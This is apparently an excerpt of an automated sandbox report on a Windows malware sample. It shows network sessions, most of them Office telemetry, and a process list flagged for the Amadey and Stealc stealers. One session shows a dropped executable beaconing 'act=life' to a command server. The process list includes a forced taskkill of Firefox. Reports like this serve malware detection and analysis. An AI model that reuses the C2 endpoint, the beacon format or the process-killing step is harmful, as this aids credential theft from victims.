2024-11-21 06:10:58 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:59 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:59 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 36815d12-601e-0070-4763-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061059Z-178bfbc474bscnbchC1NYCe7eg000000015g00000000drvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:59 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:59 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:11:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:11:00 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 1f0666f4-801e-007b-6865-3be7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061100Z-178bfbc474bfw4gbhC1NYCunf4000000011000000000ek4b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:11:00 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:59 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:11:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:11:00 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061100Z-1777c6cb754mqztshC1TEB4mkc0000000av0000000000qcd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:11:00 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:59 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:11:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:11:00 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: b1fd61ac-001e-0065-0199-3b0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061100Z-r1d97b995774n5h6hC1TEBvf840000000a00000000003cs1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:11:00 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:11:00 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:11:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:11:00 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061100Z-1777c6cb754j47wfhC1TEB5wrw00000006d000000000ppxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:11:00 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49930	188.114.97.3	443	7400	C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:11:01 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: befall-sm0ker.sbs
2024-11-21 06:11:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-21 06:11:16 UTC	990	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:11:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4jn1dnkrd8rdlttqldsp6r38v1; expires=Sun, 16-Mar-2025 23:57:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OKrtUGnjmraopD8fg%2B1IqHmTDErA6f7S5UuXqZqLpUQVzuGdPgoRBiZlqS4Uk3OlR7QUuWpFXdD9d6sm0eB6xIH2Rv8s647F1wrEFV1pH3f5SgGlgPuGVJoIRCICunCstOAJbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5e851f3e9541a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1531&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=908&delivery_rate=1833019&cwnd=204&unsent_bytes=0&cid=cf8f5365daceacaf&ts=15127&x=0"
2024-11-21 06:11:16 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-21 06:11:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:11:01 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:11:01 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:11:01 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 947c99fd-001e-00a2-4d8c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061101Z-1777c6cb7549x5qchC1TEBggbg0000000an000000000pqfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:11:01 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:11:01 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:11:02 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:11:02 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: a0fde253-801e-00a3-45ca-3b7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061102Z-r1d97b99577lxltfhC1TEByw2s0000000a00000000008hhs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:11:02 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:11:02 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:11:02 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:11:02 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 50374635-701e-0053-1175-3b3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061102Z-1777c6cb754vxwc9hC1TEBykgw0000000ang00000000e1c7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:11:02 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Target ID:	0
Start time:	01:08:54
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5a0000
File size:	1'896'960 bytes
MD5 hash:	1FF9879ABA9138B20606B03471EC3D11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1705854887.00000000005A1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1665128762.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:08:57
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x260000
File size:	1'896'960 bytes
MD5 hash:	1FF9879ABA9138B20606B03471EC3D11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1700487388.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1740995593.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:08:57
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x260000
File size:	1'896'960 bytes
MD5 hash:	1FF9879ABA9138B20606B03471EC3D11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1741195588.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1700594348.0000000004890000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:10:00
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x260000
File size:	1'896'960 bytes
MD5 hash:	1FF9879ABA9138B20606B03471EC3D11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2319290778.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	01:10:12
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe"
Imagebase:	0x950000
File size:	1'901'056 bytes
MD5 hash:	4658DFD86A5C61DF7F4DC30347017718
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:10:21
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe"
Imagebase:	0x8f0000
File size:	1'821'184 bytes
MD5 hash:	3B43C7942554833F316CF7108B571F8B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000003.2533169769.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.2948340376.00000000008F1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000009.00000002.2958384955.000000000144E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:10:28
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe"
Imagebase:	0x950000
File size:	1'901'056 bytes
MD5 hash:	4658DFD86A5C61DF7F4DC30347017718
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	01:10:29
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe"
Imagebase:	0x170000
File size:	923'136 bytes
MD5 hash:	2FC35A6DB90CEBC471ECFB0F4B67D539
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:10:29
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x790000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:10:29
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
